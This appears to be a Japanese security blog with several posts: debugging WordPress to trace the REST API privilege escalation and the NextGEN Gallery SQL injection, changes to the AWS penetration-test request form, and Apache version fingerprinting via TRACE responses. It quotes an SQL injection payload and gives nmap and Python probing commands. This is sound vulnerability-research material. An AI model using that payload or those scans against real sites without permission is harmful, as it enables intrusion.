※ここではWordPressのコンテンツを丸ごと選択しています。

f:id:tigerszk:20171116212958j:plain

9.ダウンロードが完了すれば、リモートデバッグできる状態となります。

f:id:tigerszk:20171116213213j:plain

リモートデバッグのやり方

NetBeansの上部の「プロジェクトをデバッグ」のボタンを押すと、デバッグ・セッションが実行され、以下のようなボタンが表示されます。

f:id:tigerszk:20171116221725p:plain

後はお好みの場所にブレークポイント(実行中のプログラムを意図的に一時停止させる箇所)を設定して、こちらのボタンを操作すれば、デバッグをすることができます。
NetBeansでは、エディタにて設定したい行の左マージンをクリックすれば、簡単にブレークポイントを設定できます。
なお、NetBeansでのデバッグについて、ちょっと調べてみたら以下などに細かく解説がありました。

PHP向けのNetBeans IDEのエディタでのPHPソース・コードのデバッグ

脆弱性の分析について

脆弱性の分析については以下の手順で行います。

  1. まず、ブログなどの一次情報などを元に、脆弱性に関係がありそうな関数などにブレークポイントを設定する
  2. デバッガを動かしている状態で、WebアプリケーションにPoCを打ちこんでみる
  3. ブレークポイントを設定した箇所やその周辺にて、関連するような変数の値が内部でどのように処理されているのかをひたすら追って挙動をみていく。

ものすごいザックリとした説明ですが、上記の手順で追跡をしていくわけです。
正常に機能を利用した場合の処理内容と、PoCを打ち込んだ場合の処理結果に、どのような差分があるのかなどを比較したりするのも有効なのかなと思いました。

WordPress REST API脆弱性の検証

こちらは分析初級編というお話しでした。

脆弱性については非常に話題になったので、ご記憶にある方も多いのではないでしょうか。
IPAやJPCERTなどからも注意喚起されていましたね。

WordPress の脆弱性対策について:IPA 独立行政法人 情報処理推進機構

再度リンクを張りますが、脆弱性に関する要因の詳細につきましては、まずこちらの徳丸さんの記事を良く読み込むのが一番良いと思います。

WordPress 4.7.1 の権限昇格脆弱性について検証した | 徳丸浩の日記

上記のブログにて脆弱性の要因について以下二点をご指摘されています。

  • 権限チェックの際に、存在しないid に対して、権限ありを返していた
  • 権限チェックの際はid キャストなし、データ更新の際はid を整数にキャストしていた

デバッガを利用してPoCを実行してやれば、上記のブログにて解説されている流れをそのまま体験できます。
update_item_permissions_checkメソッドとupdate_itemメソッドにブレークポイントを設定してステップ・オーバーなどで進めていけば、どのように値が処理されているのか良く分かります。

存在しないidなのに、返り値がtrueとなる f:id:tigerszk:20171117135927j:plain

整数にキャストされているためid=1xだったのがid=1として処理されている f:id:tigerszk:20171117140021j:plain

自分で試してみた感想としてですが、PoCのリクエストをid=1としてブン投げると正常処理の流れとなるので、そちらと比べるとより分かりやすいかもなと思いました。

WordPress NextGEN GalleryのSQLインジェクション脆弱性の検証

こちらは分析上級編という位置づけでした。

脆弱性WordPressのフォトギャラリープラグインSQLインジェクション脆弱性が存在するというものです。
WordPressフレームワークとして提供するwpdbクラスのprepareメソッドが、プレースホルダに用いている「%s」という値を外部由来文字列から内部のSQL文に受け渡してやるとそのままプレースホルダとして解釈されることを利用して、細工した値を送りこんでSQLインジェクションを発生させるという脆弱性だと認識しています。
こちらの脆弱性は上級編だけあってかなりトリッキーなものですね。

こちらについても、脆弱性に関する要因の詳細につきましても、まず徳丸さんの記事を良く読み込むのが一番良いと思います。

WordPressのプラグインNextGEN GalleryのSQLインジェクション脆弱性について検証した | 徳丸浩の日記

デバッガを利用すれば、ブログに書いてある「aaa%1$%s)) or 1=1#」という細工された値を受け渡した際に、内部にてどのように処理されるか確認することができます。

f:id:tigerszk:20171117163352j:plain

まとめ

自分は、今までWebアプリケーションの脆弱性を検証する際に、デバッガを利用したことがなかったので今回非常に勉強になりました。
脆弱性検証でもいくつかのフェーズがあり、脆弱性の再現確認は環境作るのがちょっと面倒くさいというのを除けば割と誰でもできるかなと思いますが、脆弱性が起こる原理解析などの部分がやっぱりなかなか難しいよなあと個人的に思います。
デバッガを用いた動的解析を利用すれば、原理解析の部分などが色々捗りそうだなという印象をもちました。
今回の環境を利用すれば、WordPressだけじゃなくて、Joomla!Drupalなどの検証もできそうなので次回の検証からは早速使ってみようかなと思っています。
後は、他の言語でのこういったリモートデバッグのやり方なども調べてみたいですね。

また、こちらの勉強会は同じ内容で追加開催されるとのことですので、ご興味がある方は参加されてみてはいかがでしょうか?
※好評につき追加開催※ デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass

AWSの侵入テスト申請フォームが変更された件

過去このブログでも取り上げてますが、AWSにおいて脆弱性診断を実施する際に、侵入テスト申請というものが必要となります。

ペネトレーションテスト(侵入テスト)- AWS セキュリティ|AWS

この侵入テスト申請について、実は2017年9月頃にアップデートがあり、申請フォームの内容が従来と変更されておりますので、こちらに変更点などをちょっとまとめておきます。 今後、侵入テストを申請される方の少しでもご参考になれば幸いです。

また、アカウントが無い方は申請フォームの中身を見ることができないので、キャプチャした現時点(2017年10月20日)の申請フォームの画像データもアップしておきます。

従来との変更点は?

従来との大きな変更点として、今まではEC2やRDSしか診断の対象とすることができなかったのですが、以下のマネージドサービスを正式に診断の対象とすることができるようになりました!

こちらにつきましては、診断を実施する側としても非常に大きな変更点だと思います。

CloudFront、APIゲートウェイ、Lambdaなどを利用して構築されているシステムなどには、個人的にも最近割と遭遇しており、今までは、公式にて診断対象とできないといわれていたので、どうやって診断などをしたものかなとちょっと悩んでいました。 また、原則としてはEC2やRDSしか診断できないはずだったのですが、知り合いの方などから「Lambdaを使っているんだけど申請したらなぜか通った」などのお話を聞いたことがあり、一体何がOKで、一体何がOUTなのか非常にグレーな感じだったので、ここら辺を明確化していただいたのは個人的には非常にありがたいです。

申請フォーム中のTarget Data、DNS Zone Walkingの項目がこの変更に対応してできた項目のようで、診断したいマネージドサービスごとに必要な内容を記載して申請できるようになっています。 ちなみに従来も診断可能だったELBも公式の診断対象として明記されており、ちゃんと専用の入力項目ができてますね。

その他、気になる変更点としてはTesting Detailsの所で、従来から入力が必要だったテスト時の帯域幅に追加して、秒間リクエスト数(RPS)の記入が必須となっております。 DNSを検査する場合には秒間問い合わせ数(QPS)なども申請しなくてはならないようです。

上記以外は、従来の申請とそこまで変わらない内容であると思います。

PS

ちなみにSource Dataの項目に 「Does the testing company have a NDS with AWS?」 と記載があり、初めはこの「NDS」について調べても良くわからなかったので謎だったのですが、知り合いの方よりどうやら「NDA」の記載ミスらしいというお話しを聞きましたw 一応私からもAWSに問い合わせておりますが、まだ正式なご回答いただいておりません。 ご回答があり次第こちらに追記しようかと思います。

(2017年10月21日追記)

AWSから以下のように丁寧なご回答をいただきました。

Thank you for contacting us. I sincerely apologize for the confusion, but this is an internal error on our side. We are aware of this error and will address it soon as possible. The request form should originally ask for an NDA (Non-Disclosure Agreement) rather than an NDS. This is, of course, not a requirement for the approval process.

誤記載ということが確定ですので、その内修正いただけるのだと思います。 このブログを公開してから、何人かの知り合いの方に「やっぱりみんなそれ問い合わせますよねーw」とかってご連絡をいただいたのがちょっと面白かったですw

申請フォームのキャプチャ

f:id:tigerszk:20171020124411p:plain

f:id:tigerszk:20171020124423p:plain

f:id:tigerszk:20171020124433p:plain

f:id:tigerszk:20171020124441p:plain

※2017年10月20日時点のものとなります。

僕が調べたApacheバージョン判定の小ネタ

皆さんこちらのブログをご覧になられましたでしょうか?

Apache HTTP Serverのバージョンを当てる方法 | MBSD Blog

Apache HTTP Serverのバージョンが秘匿されていたとしても、脆弱性の修正や、仕様変更による応答差分を確認することによって、バージョンを特定することができるよというMBSDさんの記事です。
この記事には私も知らなかったテクニックも載っていて非常に勉強になりました!

実際の脆弱性診断の現場でもこのようなテクニックは結構使われていまして、Apache HTTP Serverであればかなり古いですが他にも以下の二つの脆弱性なども脆弱性が修正されているかどうかによる応答差分で、バージョンの判定が可能だったかなーと記憶しています。

CVE-2006-3918
JVNDB-2006-000441 - JVN iPedia - 脆弱性対策情報データベース

CVE-2007-6203
JVNDB-2007-001017 - JVN iPedia - 脆弱性対策情報データベース

さて、MBSDさんのブログを読んでいて、そういえば私も以前たまたま見つけて、あんまり出回ってなかった(当時調べたんですがあんまり情報とかなかったと記憶しています)Apache HTTP Serverバージョン判定の小ネタがあったのを思い出したので、折角なので今回ブログに書こうかと思います。
最初に書いておきますが、かなり古いバージョンの判定ができるってだけなので、今となっては正直実用性0だと思います。
まあちょっとした小ネタとして読んでいただければ幸いですw

TRACEメソッドとは?

皆さんはTRACEメソッドというものをご存知でしょうか?
HTTP 1.1(RFC2616)にて定義されているHTTPメソッドの一つであり、デバッグなどの目的で利用されるもので、HTTPリクエストの内容をHTTPレスポンスとしてクライアントにそのまま返すというものです。
Cross-Site Tracingという本メソッドを利用する攻撃手法が存在するため、セキュリティスキャナなどでは、Webサーバー側で本メソッドが有効になっていると良く指摘項目として検出します。
しかしながら、現行のブラウザでは上記の攻撃手法は対策されており、現在ではこのメソッドが有効であっても大した実害はないといえます。
こちらについては徳丸さんが以下の記事にて詳しく解説されています。

実はそんなに怖くないTRACEメソッド | 徳丸浩の日記

ちなみに本メソッドはApacheの設定変更で簡単に無効化することができます。
さて、このTRACEメソッドですが、Apache HTTP Serverではサーバ側にて本メソッドを無効にしている場合の応答結果が、実はあるバージョンを境に変化しています。
これを利用することでApache HTTP Serverのバージョンを判定することが可能です。

試してみよう!

論より証拠ということで、応答内容の変化を確認してみましょう。

以下のコマンド(以前検証した際、togakushiさんにご指導いただいたシェル芸を記載しています)を実行してApache HTTP Serverの2.2系を全部ソースインストールして、バージョンごとに別々のポートで起動させてみます。

for i in {0..34}; do wget http://archive.apache.org/dist/httpd/httpd-2.2.${i}.tar.gz;tar xf httpd-2.2.${i}.tar.gz; pushd httpd-2.2.${i}; ./configure --prefix=/opt/httpd/2.2.${i};make;make install;sed -i "s/Listen 80/Listen $((2000+${i}))/" /opt/httpd/2.2.${i}/conf/httpd.conf; echo "TraceEnable Off" >> /opt/httpd/2.2.${i}/conf/httpd.conf; /opt/httpd/2.2.${i}/bin/apachectl start; popd; done

※実行するのであれば、事前にwgetgccなどはインスコしてください。
ちなみにconfファイルに「TraceEnable Off」を書き込んで全部TRACEメソッドは無効な状態としてApache HTTP Serverを起動しています。

nmap -sS -sV -n -p 2000-2034 ServerIP

とかやってnmapを実行してやるともりもりバージョンが表示されるので結構壮観です。

f:id:tigerszk:20170904194524p:plain

こちらを使えばMBSDさんのブログに記載したあった内容の検証もはかどりそうですw

さて次にpythonで簡単ですが以下のような各ポートにTRACEメソッドを打ち込んで、HTTPレスポンスのステータスコードを表示させるようなスクリプトを作ってみました。

import requests
for i in range(0, 35):
    url="http://ServerIP:"+str(2000+i)
    try:
        r = requests.request('TRACE', url)
        print("2.2."+str(i)+":"+str(r.status_code))
    except requests.exceptions.RequestException:
        print("no version")

このスクリプトを実行すると以下のような結果となります。

2.2.0:403
no version
2.2.2:403
2.2.3:403
2.2.4:403
no version
2.2.6:403
no version
2.2.8:405
2.2.9:405
2.2.10:405
2.2.11:405
2.2.12:405
2.2.13:405
2.2.14:405
2.2.15:405
2.2.16:405
2.2.17:405
2.2.18:405
2.2.19:405
2.2.20:405
2.2.21:405
2.2.22:405
2.2.23:405
2.2.24:405
2.2.25:405
2.2.26:405
2.2.27:405
no version
2.2.29:405
no version
2.2.31:405
2.2.32:405
no version
2.2.34:405

というわけで、2.2.6と2.2.8を境に応答結果が、403から405へと変化していることが確認できます。
さらに、2.2.6と2.2.8のソースを比較して調査してみた結果、「modules/http/http_filters.c」のコードに以下のような差分があることを確認しました。

f:id:tigerszk:20170904195515p:plain

ステータスコード 403(HTTP_FORBIDDEN)からステータスコード 405(HTTP_METHOD_NOT_ALLOWED)を返すように修正されていますね。

まとめ

というわけで、TRACEメソッドを無効化している際のサーバー側の応答結果にてApache httpdが2.2.6以下であるかということが判別できるわけです(ドヤァ)
まあ、だからどうしたって感じですよね…。
あと「僕の」とかって書きましたが、他にも脆弱性診断とかやってらっしゃる方だったら気づいていた方も多かったのではないでしょうか。
脆弱性診断を実施していると結構色々なバージョンのApacheに出会うため、以前この応答差分にたまたま気が付いて、気になってちょっと色々検証してみましたという感じでした。
正直今となっては相当古いバージョンが判別できるってだけの小ネタなので、飲み会のときのネタぐらいにしていました。
MBSDさんのブログが面白くて触発されたのと、MBSDさんのブログ中にも記載がありますが、Apache httpd 2.2.XのEOLが2017年12月と発表されているため今回このネタの供養の意味も込めて記事を書かせていただきました。